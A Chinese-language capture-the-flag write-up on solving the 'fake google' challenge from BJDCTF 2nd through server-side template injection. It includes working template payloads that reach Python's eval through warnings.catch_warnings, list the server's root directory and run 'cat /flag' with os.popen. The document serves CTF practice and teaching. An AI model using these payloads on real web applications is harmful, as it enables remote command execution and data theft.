1. 程式人生 > 實用技巧 >[BJDCTF 2nd]fake google

[BJDCTF 2nd]fake google

00x1分析題目

開啟頁面,首先是一個goole搜尋框,輸入內容後Enter,頁面顯示P3's girlfirend is : xxxx

在看URL框,發現這裡其實是通過get方式傳遞了一個get形式的引數,傳入的值就會輸出在頁面上。覺得可能是SSTI模板注入,因為這裡會把輸入的內容輸出在頁面上,那麼表示式也有可能會被輸出。檢視原始碼,確定這裡是SSTI模板注入。

00x2SSTI模板注入
表示式測試

輸入{{1+1}}測試,看錶達式是否會被計算,尷尬的是頁面直接500了,這裡估計是ban了+號,因為當你單輸入一個+號時頁面不會有任何的顯示。

輸入{{1*2}}測試,頁面輸出 2,可以了開始注入。

查詢需要藉助的類

查詢可以引用的類的列表,獲取到一個列表,使用python指令碼查詢需要的利用的類warnings.catch_warnings的位置

{{[].__class__.__base__.__subclasses__()[169]}}

頁面顯示:P3's girlfirend is : <class 'warnings.catch_warnings'>

查詢根目錄下的內容
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')
")}}

頁面顯示

P3's girlfirend is : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', '.dockerenv', 'app', 'bd_build']

讀取flag檔案

{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__
']['eval']("__import__('os').popen('cat /flag').read()")}}